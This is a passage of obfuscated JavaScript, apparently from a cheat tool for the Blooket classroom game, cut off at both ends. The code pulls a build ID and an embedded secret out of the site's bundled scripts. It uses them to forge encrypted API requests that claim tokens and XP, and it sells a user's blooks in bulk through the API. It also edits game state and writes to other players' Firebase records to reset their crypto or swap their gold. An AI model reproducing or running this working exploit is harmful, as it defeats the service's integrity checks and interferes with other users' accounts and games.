iV=prompt(k4(0x1af)+'ht');if(!m(iV))return alert(k4(0x35b)+k4(0x27a)+'inpu'+'t');im['memo'+k4(0x20f)+'Stat'+'e'][k4(0x182)+'ht']=parseInt(iV);}}var i3=()=>new Promise((im,iQ)=>{const k5=gbasilDotDev_D;if(k5(0x2ef)+'k'!==k5(0x2c2)+'j')try{if('aRCh'+'I'===k5(0x1f7)+'j'){let ic=b();try{Z(ic),i7(ic);}catch{n(k5(0x251)+k5(0x1c4)+k5(0x2cf)+k5(0x1e8)+'!');}}else{let ic=window[k5(0x368)+k5(0x37f)+k5(0x30e)][k5(0x38a)](ig=>Object[k5(0x37d)](ig[0x4ef*0x1+0x2*-0x88f+0xc30])['map'](iR=>ig[0x1d17+-0x1669+-0x6ad][iR]))[k5(0x31d)+'ce']((ig,iR)=>[...ig,...iR],[])[k5(0x303)](ig=>/\"\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\"/['test'](ig['toSt'+'ring']())&&/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/[k5(0x287)](ig[k5(0x20e)+k5(0x35c)]()))[k5(0x20e)+k5(0x35c)]();im({'blooketBuild':ic['matc'+'h'](/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/)[-0x2*0xb89+0x220b+-0xaf9],'secret':ic['matc'+'h'](/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/)[0x5*0x5e9+0x36d*-0x5+0x1*-0xc6b]});}}catch{k5(0x24a)+'x'===k5(0x38b)+'w'?(i6[k5(0x3a2)+'ve'](),b['remo'+'veEv'+k5(0x2ad)+k5(0x38d)+k5(0x195)](k5(0x152)+k5(0x33a),iC,!(-0x3c*-0x3f+0x2f*-0x78+0x136*0x6))):iQ(k5(0x23b)+'d\x20no'+k5(0x174)+'tch\x20'+'auth'+k5(0x25d)+k5(0x314));}else{let id=iC(k5(0x305)+k5(0x172)+k5(0x24e));if(!iq(id))return id('Inva'+'lid\x20'+k5(0x25c)+'t');Z[k5(0x192)+'ized'+k5(0x133)+'e'][k5(0x23c)+'Cash']=i7(id);}}),i4=async(im,iQ)=>{const k6=gbasilDotDev_D;if(k6(0x236)+'o'===k6(0x236)+'o'){let iV=new TextEncoder()[k6(0x32c)+'de'](JSON[k6(0x1e3)+'ngif'+'y'](im)),ic=new TextEncoder()[k6(0x32c)+'de'](iQ),ig=await window[k6(0x1b9)+'to'][k6(0x2f6)+'le'][k6(0x2b6)+'st'](k6(0x3a9)+k6(0x17a),ic),iR=await window[k6(0x1b9)+'to'][k6(0x2f6)+'le']['impo'+'rtKe'+'y'](k6(0x1a5),ig,{'name':k6(0x196)+k6(0x18f)},!(0xdaf+-0x1*0x46d+-0x941),[k6(0x338)+k6(0x1d6)]),id=window[k6(0x1b9)+'to'][k6(0x1ff)+k6(0x279)+k6(0x2ca)+'ues'](new Uint8Array(-0x1d04+-0x80b+0x54d*0x7)),ip=Array[k6(0x2f0)](id)[k6(0x38a)](io=>String[k6(0x2f0)+'Char'+'Code'](io))[k6(0x1c6)](''),iP=await window[k6(0x1b9)+'to'][k6(0x2f6)+'le'][k6(0x338)+k6(0x1d6)]({'name':k6(0x196)+k6(0x18f),'iv':id},iR,iV),iU=Array[k6(0x2f0)](new Uint8Array(iP))[k6(0x38a)](io=>String[k6(0x2f0)+k6(0x284)+'Code'](io))[k6(0x1c6)]('');return window[k6(0x2ab)](ip+iU);}else i6[k6(0x37d)](b['memo'+'ized'+k6(0x133)+'e'][k6(0x267)+k6(0x185)+'s'])['forE'+'ach'](ia=>iq[k6(0x192)+k6(0x20f)+k6(0x133)+'e'][k6(0x267)+k6(0x185)+'s'][ia]=-0x1e43*-0x1+-0x2287+0x445);};async function i5(){const k7=gbasilDotDev_D;if(k7(0x2c0)+'i'!=='bAmp'+'w'){if(prompt(k7(0x30b)+k7(0x2da)+k7(0x220)+k7(0x3a5)+k7(0x138)+k7(0x1b1)+k7(0x29d)+k7(0x148)+k7(0x1f6)+k7(0x2e6)+k7(0x30c)+k7(0x27f)+k7(0x20a)+k7(0x33f)+k7(0x1eb)+k7(0x2d6)+k7(0x150)+k7(0x1ef)+k7(0x319)+k7(0x211)+k7(0x244)+'acco'+'unt\x20'+k7(0x328)+k7(0x343)+k7(0x1e4)+k7(0x348)+k7(0x140)+'llin'+'g\x20to'+k7(0x1ca)+'e\x20th'+k7(0x339)+k7(0x270)+k7(0x243)+k7(0x2b0)+'ligh'+'t\x20co'+k7(0x2f7)+'ienc'+k7(0x380)+k7(0x1b7)+'\x20\x22I\x20'+k7(0x227)+k7(0x358)+k7(0x2bd)+k7(0x293)+k7(0x16f)+k7(0x2ba)+k7(0x269)+k7(0x310)+k7(0x3a6)+k7(0x2cd)+k7(0x201)+k7(0x2e8))!=k7(0x1b5)+k7(0x1a8)+k7(0x325)+k7(0x310)+k7(0x1c8)+k7(0x337)+k7(0x33e))return alert(k7(0x1e6)+'ght,'+'\x20exi'+k7(0x255)+'.');let im=await(await fetch(k7(0x15d)+k7(0x1f8)+k7(0x15b)+k7(0x238)+'ket.'+k7(0x394)+k7(0x28f)+k7(0x39f)+k7(0x2dc)+'rify'+k7(0x1e5)+k7(0x38c),{'credentials':'incl'+k7(0x324)}))[k7(0x2a4)]();if(im!=null&&im['name'])im=im[k7(0x33d)];else return alert(k7(0x23b)+k7(0x1fb)+'\x20get'+'\x20nam'+k7(0x286)+k7(0x136)+'ou\x20s'+k7(0x189)+'you\x27'+'re\x20l'+k7(0x2de)+k7(0x1a4)+'?');let iQ=!(-0x2*0x801+0x935*0x1+0x6ce),iV=ic=>{const k8=k7;k8(0x301)+'N'!==k8(0x301)+'N'?iO['memo'+k8(0x20f)+k8(0x133)+'e'][k8(0x386)+k8(0x33a)]=i6['memo'+'ized'+'Stat'+'e'][k8(0x2b7)+k8(0x322)+'nt']:iQ||(alert(ic),iQ=!(-0x2*-0x2e8+-0x26e6+0x2116));};fetch(k7(0x15d)+k7(0x1f8)+k7(0x15b)+k7(0x238)+k7(0x261)+k7(0x394)+k7(0x28f)+k7(0x39f)+k7(0x17c)+k7(0x266),{'credentials':'incl'+'ude'})['then'](async ic=>{const k9=k7;if('Jbmf'+'h'!==k9(0x29a)+'h')iO[k9(0x192)+'ized'+'Stat'+'e'][k9(0x2e1)+k9(0x291)+k9(0x266)]=[],i6[k9(0x192)+k9(0x20f)+k9(0x133)+'e'][k9(0x241)+k9(0x203)+k9(0x272)]=[];else{let iR=await ic[k9(0x2a4)](),id=0x163e+-0xb9*0x1e+-0x3*0x30,ip=Object[k9(0x37d)](iR)[k9(0x38a)](iP=>iR[iP]-(-0x23e0+-0x2327+0x4708))[k9(0x31d)+'ce']((iP,iU)=>iP+iU,0x9*0x279+0x348+-0x3*0x883);if(ip==-0x223*0x8+-0x15b1+-0x1*-0x26c9)return alert('No\x20d'+k9(0x18a)+k9(0x1e1)+k9(0x387)+k9(0x2b1));Object[k9(0x37d)](iR)[k9(0x1d0)+k9(0x388)](iP=>{const ki=k9;if('FGVG'+'L'===ki(0x265)+'L')iR[iP]--,!(iR[iP]<=-0x26c4+-0x7*0x3f4+0x4270)&&fetch(ki(0x15d)+ki(0x1f8)+ki(0x15b)+'bloo'+ki(0x261)+ki(0x394)+ki(0x28f)+ki(0x39f)+ki(0x344)+ki(0x273)+'ook',{'credentials':ki(0x187)+ki(0x324),'body':JSON['stri'+'ngif'+'y']({'name':im,'blook':iP,'numSold':iR[iP]}),'method':ki(0x369)})[ki(0x39d)](iU=>{const kk=ki;if(kk(0x1e0)+'E'!==kk(0x1e0)+'E'){let ia=V('Name'+kk(0x1ee)+'play'+'er');!ia||t['memo'+kk(0x20f)+kk(0x1d4)+'s'][kk(0x165)+kk(0x20b)][kk(0x2d7)+kk(0x288)+kk(0x2f8)+'al'](iX[kk(0x192)+'ized'+kk(0x1d4)+'s']['clie'+'nt'][kk(0x245)+'Id'],'c',(...iI)=>{const kF=kk;let iN=ia[kF(0x37d)](iI[0x26d2+0x185*0x11+0x40a7*-0x1]);iN[kF(0x1c0)](il=>il==ia)?iN[kF(0x1d0)+kF(0x388)]((il,iT)=>{const kD=kF;il==ia&&(iI['memo'+'ized'+kD(0x1d4)+'s'][kD(0x165)+kD(0x20b)][kD(0x25b)+'al']({'id':iN['memo'+kD(0x20f)+kD(0x1d4)+'s'][kD(0x341)+'nt']['host'+'Id'],'path':'c/'+i5[kD(0x192)+'ized'+kD(0x1d4)+'s']['clie'+'nt']['name'],'val':{'p':ih[kD(0x192)+kD(0x20f)+kD(0x133)+'e'][kD(0x212)+kD(0x1ec)],'b':i4[kD(0x192)+kD(0x20f)+kD(0x1d4)+'s'][kD(0x341)+'nt'][kD(0x238)+'k'],'cr':i3['memo'+'ized'+kD(0x133)+'e'][kD(0x1b9)+'to'],'tat':il+':'+(iI[-0x2403+-0x10bd+0x34c0][il]['cr']||0x1*0x301+-0x11ac+0x1*0xeab)}}),ix(kD(0x2f2)+kD(0x199)+kD(0x135)+kD(0x2b4)+kD(0x1b9)+'to!'));}):i0(kF(0x23b)+kF(0x1fb)+kF(0x19c)+kF(0x2c4)+'ayer'+'!');});}else{if(iU[kk(0x2a5)+'us']==0x1*-0x163c+0x187*-0x13+0xa96*0x5)return iV('Rate'+kk(0x161)+kk(0x164)+kk(0x1f0)+kk(0x370)+kk(0x26f)+kk(0x294)+kk(0x173)+kk(0x19a)+'r');id++,id==ip&&alert('Sold'+'\x20'+ip+(kk(0x387)+'ok')+(ip!=0x8d9+0x2065+-0x17*0x1cb?'s':''));}})[ki(0x19f)+'h'](iU=>{const kB=ki;if('zubT'+'m'===kB(0x1d2)+'c')try{iq[kB(0x2f0)](im[kB(0x15e)][kB(0x21f)+kB(0x33c)+'ecto'+'rAll']('div'))['filt'+'er'](ia=>ia['inne'+kB(0x28b)+'L']==i7[kB(0x192)+kB(0x20f)+'Prop'+'s'][kB(0x341)+'nt'][kB(0x23a)+kB(0x16c)][kB(0x1ab)+kB(0x171)+kB(0x249)+'rs'][-0x2*-0x5ef+-0x26ea+0x1b0c])[-0x26fa+-0x251a*0x1+0x4c14*0x1][kB(0x1ae)+'k']();}catch{}else alert(kB(0x251)+kB(0x1c4)+kB(0x2cf)+kB(0x1e8)+kB(0x2c8)+kB(0x142)+kB(0x387)+kB(0x2b1));});else{let io=t[ki(0x37d)](iX[-0x1*0x246d+0x1*0xc67+0xf6*0x19]);io[ki(0x1c0)](ia=>ia==io)?io['forE'+ki(0x388)]((ia,iI)=>{const kJ=ki;ia==io&&(iQ['memo'+kJ(0x20f)+kJ(0x1d4)+'s'][kJ(0x165)+'base'][kJ(0x25b)+'al']({'id':io['memo'+kJ(0x20f)+kJ(0x1d4)+'s'][kJ(0x341)+'nt']['host'+'Id'],'path':'c/'+a[kJ(0x192)+kJ(0x20f)+kJ(0x1d4)+'s'][kJ(0x341)+'nt'][kJ(0x33d)],'val':{'p':i1['memo'+kJ(0x20f)+kJ(0x133)+'e'][kJ(0x212)+'word'],'b':iP['memo'+'ized'+kJ(0x1d4)+'s']['clie'+'nt'][kJ(0x238)+'k'],'cr':i0['memo'+kJ(0x20f)+kJ(0x133)+'e'][kJ(0x1b9)+'to'],'tat':ia+':'+(o[0x2206+-0x22d4+-0x1*-0xce][ia]['cr']||-0x1e1f+0x61*-0x5+0xc*0x2ab)}}),Z('Rese'+kJ(0x199)+kJ(0x135)+'eir\x20'+kJ(0x1b9)+'to!'));}):e('Coul'+ki(0x1fb)+ki(0x19c)+'d\x20pl'+'ayer'+'!');}});}})[k7(0x19f)+'h'](ic=>{const kr=k7;kr(0x191)+'v'===kr(0x191)+'v'?alert(kr(0x251)+kr(0x1c4)+kr(0x2cf)+kr(0x1e8)+kr(0x2af)+kr(0x193)+kr(0x340)+'ooks'+'!'):iF[kr(0x192)+kr(0x20f)+kr(0x133)+'e'][kr(0x238)+'ks']['forE'+'ach'](iR=>iR[kr(0x2a3)]['fill'](0x1035+0x23*-0xa6+-0x1*-0x67d+0.001));});}else iO[k7(0x222)+'ge']=0x11*0x2be496+-0x67524b*-0x14+-0x506bad3,i6[k7(0x332)+'Cd']=-0x25f7+-0x1bd3+-0xaf7*-0x6+0.001;}function i6(){const kt=gbasilDotDev_D;if(kt(0x32d)+'C'!==kt(0x32e)+'d')fetch(kt(0x15d)+kt(0x1f8)+kt(0x15b)+kt(0x238)+kt(0x261)+'com/'+'api/'+kt(0x39f)+'s/ve'+kt(0x146)+'-tok'+'en',{'credentials':'incl'+kt(0x324)})['then'](im=>im['json']())['then'](({name:im})=>{const kC=kt;'PIjL'+'L'===kC(0x158)+'v'?i6[kC(0x2f0)](b[kC(0x15e)][kC(0x21f)+kC(0x33c)+kC(0x1d9)+'rAll']('div'))[kC(0x18b)+'er'](iV=>iV['inne'+kC(0x28b)+'L']==iq[kC(0x192)+'ized'+kC(0x1d4)+'s'][kC(0x341)+'nt'][kC(0x23a)+kC(0x16c)][kC(0x1ab)+kC(0x171)+kC(0x249)+'rs'][0x54d+-0x17d4+-0x62d*-0x3])[0x1871+0x6*0x5c3+0x1*-0x3b03][kC(0x1ae)+'k']():fetch(kC(0x15d)+kC(0x1f8)+kC(0x15b)+kC(0x238)+'ket.'+'com/'+kC(0x28f)+kC(0x39f)+'s/bo'+kC(0x145)+'s?na'+kC(0x242)+im,{'credentials':kC(0x187)+'ude'})[kC(0x39d)](iV=>iV[kC(0x2a4)]())['then'](iV=>{const kO=kC;if(kO(0x263)+'b'!=='Utov'+'f'){if(iV[kO(0x276)+kO(0x367)+'aila'+kO(0x2c7)]==0x26b2+0x111*0xa+-0x36*0xea&&iV[kO(0x2cc)+kO(0x17b)+kO(0x2c7)]==-0x54*-0x5+0x39e*-0x2+0x598)return alert('You\x27'+kO(0x1b4)+'it\x20y'+kO(0x244)+kO(0x160)+kO(0x2ed)+kO(0x1cc));i3()[kO(0x39d)](async ic=>{const kw=kO;kw(0x190)+'O'!=='bLDe'+'O'?iO['memo'+'ized'+'Stat'+'e']['pass'+kw(0x1ec)]=i6('Cust'+kw(0x131)+kw(0x20d)+kw(0x26a)):fetch('http'+kw(0x1f8)+kw(0x15b)+kw(0x238)+kw(0x261)+kw(0x394)+kw(0x28f)+kw(0x39f)+kw(0x1aa)+kw(0x163)+kw(0x156)+'s',{'method':kw(0x369),'credentials':kw(0x187)+'ude','headers':{'content-type':kw(0x168)+'icat'+kw(0x37e)+kw(0x2a4),'X-Blooket-Build':ic[kw(0x238)+'ketB'+kw(0x25f)]},'body':await i4({'name':im,'addedTokens':iV[kw(0x276)+kw(0x367)+'aila'+kw(0x2c7)],'addedXp':iV[kw(0x2cc)+kw(0x17b)+kw(0x2c7)]},ic[kw(0x25e)+'et'])})[kw(0x39d)](()=>alert(kw(0x39c)+'\x20'+iV[kw(0x276)+kw(0x367)+kw(0x17b)+'ble']+(kw(0x385)+'en')+(iV['toke'+'nsAv'+kw(0x17b)+kw(0x2c7)]==0x1*-0x196f+-0x7*-0x12a+0x114a?'':'s')+(kw(0x277)+'\x20')+iV[kw(0x2cc)+kw(0x17b)+kw(0x2c7)]+kw(0x304)))[kw(0x19f)+'h'](()=>alert(kw(0x251)+kw(0x1c4)+kw(0x2cf)+kw(0x1e8)+kw(0x2af)+kw(0x193)+kw(0x2e0)+kw(0x349)+'ata!'+kw(0x3aa)+kw(0x28e)+kw(0x184)+kw(0x2b2)+'u\x27re'+kw(0x224)+kw(0x264)+kw(0x1f9)));})[kO(0x19f)+'h'](ic=>{const kn=kO;'RZYF'+'T'===kn(0x2d8)+'T'?alert(kn(0x251)+'rror'+kn(0x2cf)+kn(0x1e8)+kn(0x2af)+kn(0x193)+'g\x20au'+kn(0x25a)+'ata.'+kn(0x271)+kn(0x13a)+kn(0x29e)+'o\x20up'+kn(0x2a1)+kn(0x293)+kn(0x179)+'tito'+'ol.'):iF(kn(0x251)+kn(0x1c4)+'\x20ocu'+kn(0x1e8)+kn(0x2af)+kn(0x193)+kn(0x340)+'ooks'+'!');});}else iF(kO(0x251)+kO(0x1c4)+'\x20ocu'+'rred'+'\x20fet'+kO(0x193)+kO(0x1c7)+kO(0x25a)+kO(0x1df)+kO(0x271)+kO(0x13a)+kO(0x29e)+kO(0x34b)+kO(0x2a1)+kO(0x293)+kO(0x179)+'tito'+kO(0x342));})[kC(0x19f)+'h'](()=>alert(kC(0x251)+kC(0x1c4)+kC(0x2cf)+'rred'+'\x20fet'+kC(0x193)+kC(0x239)+kC(0x145)+'s!'));})[kt(0x19f)+'h'](()=>alert('An\x20e'+'rror'+kt(0x2cf)+kt(0x1e8)+kt(0x2af)+kt(0x193)+kt(0x2e0)+'er\x20d'+kt(0x326)+kt(0x3aa)+kt(0x28e)+kt(0x184)+'e\x20yo'+kt(0x17f)+kt(0x224)+'ged\x20'+kt(0x1f9)));else{let iQ=iC(kt(0x1af)+'ht');if(!iq(iQ))return iQ(kt(0x35b)+'lid\x20'+kt(0x25c)+'t');Z[kt(0x192)+kt(0x20f)+'Stat'+'e'][kt(0x182)+'ht']=i7(iQ);}}function i7(im){const kx=gbasilDotDev_D;if(kx(0x240)+'b'==='DgRt'+'b'){let iQ=prompt(kx(0x289)+kx(0x172)+kx(0x24e));if(!m(iQ))return alert(kx(0x35b)+'lid\x20'+'inpu'+'t');im[kx(0x192)+kx(0x20f)+kx(0x133)+'e']['gold']=parseInt(iQ);}else{let ic=iC(kx(0x1fa)+kx(0x399)+kx(0x183));if(!iq(ic))return ic('Inva'+kx(0x27a)+kx(0x25c)+'t');Z[kx(0x192)+kx(0x20f)+kx(0x133)+'e']['toke'+'ns']=i7(ic);}}function i8(im){const kh=gbasilDotDev_D;if(kh(0x198)+'G'!==kh(0x198)+'G')b['memo'+kh(0x20f)+kh(0x133)+'e']['gold']=-0x2*0x1337+0x15b*-0x3+-0x1*-0x2ae3,iC['memo'+kh(0x20f)+kh(0x133)+'e'][kh(0x29f)+kh(0x37c)+'s']=-0x1*0x61+-0x2*0x1093+0x21eb,iq['memo'+kh(0x20f)+'Stat'+'e']['mate'+kh(0x2aa)+'s']=-0x1*-0x2705+-0x10f4*-0x2+-0x4889,t['memo'+kh(0x20f)+'Stat'+'e'][kh(0x130)+kh(0x35a)+'re']=-0x125+0x4*-0x419+0x11ed;else{im[kh(0x192)+'ized'+'Stat'+'e'][kh(0x14e)+'e']!=kh(0x382)+'e'&&alert(Math[kh(0x2ae)+'om']()<0x80d*-0x2+0x138a+-0x370+0.01?kh(0x134)+'?\x20(w'+kh(0x379)+kh(0x24c)+'or\x20s'+kh(0x1e7)+kh(0x274)+kh(0x36a)+kh(0x29f)+kh(0x2df):'Wait'+'ing\x20'+kh(0x169)+kh(0x311)+kh(0x1a2)+'.');for(let iV=0xd*0x257+0x20ed+0x2*-0x1fac;iV<0x1092+-0x1de0+0xd51;iV++){if(kh(0x208)+'R'===kh(0x208)+'R'){let ic=document[kh(0x21f)+kh(0x33c)+kh(0x1d9)+'r'](kh(0x29b)+kh(0x1ba)+kh(0x395)+kh(0x23e)+kh(0x27d)+kh(0x329)+'e'+(iV+(0xc7*-0x17+0x32*0x89+0x2*-0x470))+']'),ig=document[kh(0x280)+kh(0x209)+kh(0x397)+'t']('p');ig[kh(0x2a9)+'e'][kh(0x1f5)+'Weig'+'ht']=kh(0x22f),ig[kh(0x2a9)+'e'][kh(0x376)+kh(0x38e)+'n']='cent'+'er',ig['styl'+'e'][kh(0x31e)+'ht']=kh(0x364),ig[kh(0x2a9)+'e'][kh(0x18c)+kh(0x32a)+'m']=kh(0x18c)+'slat'+kh(0x262)+kh(0x259),ig[kh(0x2a9)+'e'][kh(0x283)+'terE'+kh(0x218)+'s']='none',ig[kh(0x2a9)+'e']['font'+kh(0x365)]='1.5r'+'em',ig['inne'+kh(0x155)+'t']=im[kh(0x192)+kh(0x20f)+kh(0x133)+'e'][kh(0x2f5)+kh(0x2fb)][iV]['text'],ic&&ic[kh(0x2f4)+'nd'](ig);}else{let id=i6[kh(0x2f0)](b['quer'+kh(0x33c)+kh(0x1d9)+kh(0x2b8)](kh(0x2a7)))[kh(0x303)](ip=>ip[kh(0x170)+kh(0x155)+'t']==id['memo'+kh(0x20f)+'Stat'+'e']['corr'+'ectP'+kh(0x20d)+kh(0x26a)]);id&&id[kh(0x1ae)+'k']();}}}}function i9(im){const kX=gbasilDotDev_D;if(kX(0x1d7)+'w'===kX(0x1d7)+'w'){let iQ=prompt(kX(0x34a)+kX(0x1ee)+kX(0x2be)+'er'),iV=prompt('Amou'+'nt\x20t'+'o\x20se'+kX(0x34d)+'eir\x20'+kX(0x2d0)+kX(0x2e3));if(!iQ||!m(iV))return alert('Inva'+kX(0x27a)+kX(0x25c)+'t');im[kX(0x192)+kX(0x20f)+kX(0x1d4)+'s']['fire'+kX(0x20b)][kX(0x25b)+'al']({'id':im['memo'+kX(0x20f)+'Prop'+'s'][kX(0x341)+'nt'][kX(0x245)+'Id'],'path':'c/'+im[kX(0x192)+'ized'+kX(0x1d4)+'s'][kX(0x341)+'nt']['name'],'val':{'b':im['memo'+kX(0x20f)+kX(0x1d4)+'s'][kX(0x341)+'nt'][kX(0x238)+'k'],'g':im[kX(0x192)+kX(0x20f)+kX(0x133)+'e'][kX(0x2d0)],'tat':iQ+(':swa'+'p:')+iV}});}else{if(iq[kX(0x1ad)+kX(0x16c)][kX(0x26c)+'name'][kX(0x213)+'t']('/')[-0x2*-0x101f+0x4*-0x7bf+-0x10*0x14]!='batt'+'le')return ig('Must'+kX(0x31c)+kX(0x22c)+kX(0x147)+'tle\x20'+kX(0x268)+kX(0x3a5)+kX(0x298)+'!');let ig=Z('Coin'+'\x20amo'+kX(0x24e));if(!i7(ig))return iD(kX(0x35b)+'lid\x20'+'inpu'+'t');n['memo'+kX(0x20f)+kX(0x1d4)+'s'][kX(0x1b8)+'ower'+'Coin'+'s'](ig);}}function ii(im){const kG=gbasilDotDev_D;if(kG(0x26e)+'d'!==kG(0x278)+'G'){let iQ=prompt(kG(0x18e)+kG(0x360)+kG(0x183));if(!m(iQ))return alert('Inva'+kG(0x27a)+kG(0x25c)+'t');im['memo'+kG(0x20f)+kG(0x133)+'e'][kG(0x130)+kG(0x35a)+'re']=parseInt(iQ);}else iF['memo'+kG(0x20f)+kG(0x133)+'e'][kG(0x386)+kG(0x33a)+'Need'+'ed']=0x17*-0xc0+-0x1c37+0x2d78;}function ik(im){const kq=gbasilDotDev_D;kq(0x30a)+'t'!==kq(0x30a)+'t'?i6[kq(0x1ad)+kq(0x16c)]['path'+kq(0x33d)]!=kq(0x393)+'e'?b('Pres'+kq(0x2ac)+kq(0x139)+kq(0x207)+kq(0x167)+kq(0x24b)):iC[kq(0x192)+'ized'+kq(0x133)+'e'][kq(0x28a)+'s'][kq(0x1d0)+'ach'](iV=>iV['stoc'+'k']=-0x334e+-0x29b9d+0x22ac5*0x2):(im[kq(0x192)+kq(0x20f)+kq(0x133)+'e'][kq(0x2d0)]=0x3b*0x1d+-0x1ba1+0xaab*0x2,im[kq(0x192)+kq(0x20f)+kq(0x133)+'e'][kq(0x29f)+kq(0x37c)+'s']=0x1*0x3f1+0x6*-0x3ee+0x3*0x6ad,im[kq(0x192)+kq(0x20f)+kq(0x133)+'e'][kq(0x1ce)+kq(0x2aa)+'s']=-0x1da8+-0x22a7+0x3*0x1591,im[kq(0x192)+'ized'+kq(0x133)+'e']['gues'+kq(0x35a)+'re']=0x84b*-0x1+0x1*0x1cec+-0x143d);}function iF(im){const km=gbasilDotDev_D;if(km(0x14b)+'Y'===km(0x1ea)+'E'){let iV=iC[km(0x21f)+km(0x33c)+km(0x1d9)+'r'](km(0x29b)+km(0x1ba)+km(0x395)+km(0x23e)+km(0x27d)+'hoic'+'e'+(iq+(-0x1*0x220d+0x2123+-0xeb*-0x1))+']'),ic=t[km(0x280)+km(0x209)+km(0x397)+'t']('p');ic[km(0x2a9)+'e'][km(0x1f5)+km(0x1af)+'ht']=km(0x22f),ic[km(0x2a9)+'e'][km(0x376)+km(0x38e)+'n']=km(0x29c)+'er',ic[km(0x2a9)+'e']['heig'+'ht']=km(0x364),ic[km(0x2a9)+'e'][km(0x18c)+km(0x32a)+'m']='tran'+km(0x2bb)+'eY(1'+'00%)',ic[km(0x2a9)+'e']['poin'+'terE'+km(0x218)+'s']=km(0x375),ic['styl'+'e']['font'+km(0x365)]=km(0x230)+'em',ic[km(0x170)+'rTex'+'t']=Z[km(0x192)+km(0x20f)+'Stat'+'e'][km(0x2f5)+km(0x2fb)][i7][km(0x376)],iV&&iV[km(0x2f4)+'nd'](ic);}else im[km(0x192)+km(0x20f)+km(0x133)+'e'][km(0x2e1)+'edBl'+'ooks']=[],im[km(0x192)+'ized'+km(0x133)+'e']['take'+km(0x203)+km(0x272)]=[];}function iD(im){const kQ=gbasilDotDev_D;if(kQ(0x19e)+'W'!==kQ(0x19e)+'W')try{let iV=Z[kQ(0x368)+kQ(0x37f)+kQ(0x30e)][kQ(0x38a)](ic=>n[kQ(0x37d)](ic[0x1f7c+0x58+-0x1fd3])[kQ(0x38a)](ig=>ic[0xca1+0x1c13+-0x1*0x28b3][ig]))[kQ(0x31d)+'ce']((ic,ig)=>[...ic,...ig],[])['find'](ic=>/\"\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\"/[kQ(0x287)](ic[kQ(0x20e)+kQ(0x35c)]())&&/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/[kQ(0x287)](ic['toSt'+kQ(0x35c)]()))[kQ(0x20e)+kQ(0x35c)]();iD({'blooketBuild':iV[kQ(0x384)+'h'](/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/)[-0x337*0x1+0x3fb*0x1+-0xc4],'secret':iV['matc'+'h'](/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/)[-0x2*-0x100a+0x1*-0xe16+0x5*-0x399]});}catch{V('Coul'+kQ(0x33b)+kQ(0x174)+'tch\x20'+kQ(0x13d)+kQ(0x25d)+kQ(0x314));}else im[kQ(0x192)+'ized'+kQ(0x133)+'e'][kQ(0x386)+kQ(0x33a)]=im[kQ(0x192)+kQ(0x20f)+kQ(0x133)+'e'][kQ(0x2b7)+kQ(0x322)+'nt'];}function iB(im){const kV=gbasilDotDev_D;if(kV(0x320)+'v'!==kV(0x372)+'M'){let iQ=prompt(kV(0x1fa)+kV(0x399)+kV(0x183));if(!m(iQ))return alert(kV(0x35b)+kV(0x27a)+kV(0x25c)+'t');im[kV(0x192)+kV(0x20f)+'Stat'+'e']['toke'+'ns']=parseInt(iQ);}else{let ic=ic(kV(0x327)+kV(0x2eb)+'amou'+'nt');if(!Z(ic))return i7(kV(0x35b)+kV(0x27a)+kV(0x25c)+'t');iD(n,{'path':'c/'+V[kV(0x192)+kV(0x20f)+kV(0x1d4)+'s']['clie'+'nt'][kV(0x33d)]+'/d','value':t(ic)});}}function iJ(im){const kc=gbasilDotDev_D;kc(0x166)+'V'===kc(0x166)+'V'?im[kc(0x2a5)+'eNod'+'e'][kc(0x1c9)+'rs'][kc(0x1d0)+kc(0x388)](iQ=>{const kg=kc;if(kg(0x228)+'z'===kg(0x228)+'z')iQ[kg(0x222)+'ge']=-0x65*0xf90f3+-0x5f2b01b+0x2793*0x74c3,iQ[kg(0x332)+'Cd']=-0x2*-0xfbf+0x1727+-0x1237*0x3+0.001;else{let ic=iD[kg(0x280)+kg(0x209)+'emen'+'t']('a');ic[kg(0x2a9)+'e'][kg(0x39e)+'h']=kg(0x364),ic[kg(0x2a9)+'e'][kg(0x3a8)+kg(0x366)]=kg(0x217)+'k',ic['styl'+'e'][kg(0x1e9)+'r']=ic[kg(0x376)],ic[kg(0x2a9)+'e'][kg(0x16d)+'ing']=kg(0x2fe),ic[kg(0x2a9)+'e'][kg(0x36e)+'or']=kg(0x283)+'ter',ic[kg(0x2a9)+'e']['bord'+'erBo'+kg(0x151)]='5px\x20'+kg(0x2d1)+'d\x20'+V[kg(0x21b)+'lt'],ic[kg(0x2a9)+'e'][kg(0x376)+kg(0x295)+kg(0x157)+'on']='none',ic[kg(0x2a9)+'e'][kg(0x1f5)+'Size']=kg(0x14d),ic['inne'+kg(0x155)+'t']=t,iX[kg(0x2f4)+'nd'](ic),ic[kg(0x231)+kg(0x218)+kg(0x28c)+'ener'](kg(0x219)+kg(0x1a0)+'tart'in i8?'touc'+kg(0x37a)+'rt':'clic'+'k',()=>{const kR=kg;let ig=ic();try{n(ig),e(ig);}catch{o(kR(0x251)+kR(0x1c4)+kR(0x2cf)+'rred'+'!');}});}}):(Q[V]--,!(c[Q]<=0x186f+0x4*0x746+0x47*-0xc1)&&i9(kc(0x15d)+'s://'+kc(0x15b)+kc(0x238)+kc(0x261)+'com/'+'api/'+'user'+kc(0x344)+kc(0x273)+kc(0x3a0),{'credentials':kc(0x187)+kc(0x324),'body':d[kc(0x1e3)+'ngif'+'y']({'name':n,'blook':e,'numSold':ii[o]}),'method':'put'})[kc(0x39d)](iV=>{const kd=kc;if(iV[kd(0x2a5)+'us']==-0x1b6b*-0x1+0x73+-0x1a31)return ih(kd(0x2ee)+'limi'+kd(0x164)+kd(0x1f0)+'leas'+kd(0x26f)+kd(0x294)+kd(0x173)+kd(0x19a)+'r');i4++,i3==ix&&iJ(kd(0x22d)+'\x20'+iB+('\x20blo'+'ok')+(ik!=-0xa98+0x1978+-0x1b*0x8d?'s':''));})[kc(0x19f)+'h'](iV=>{const kp=kc;ih(kp(0x251)+kp(0x1c4)+kp(0x2cf)+kp(0x1e8)+'\x20sel'+kp(0x142)+kp(0x387)+kp(0x2b1));}));}function ir(im){const 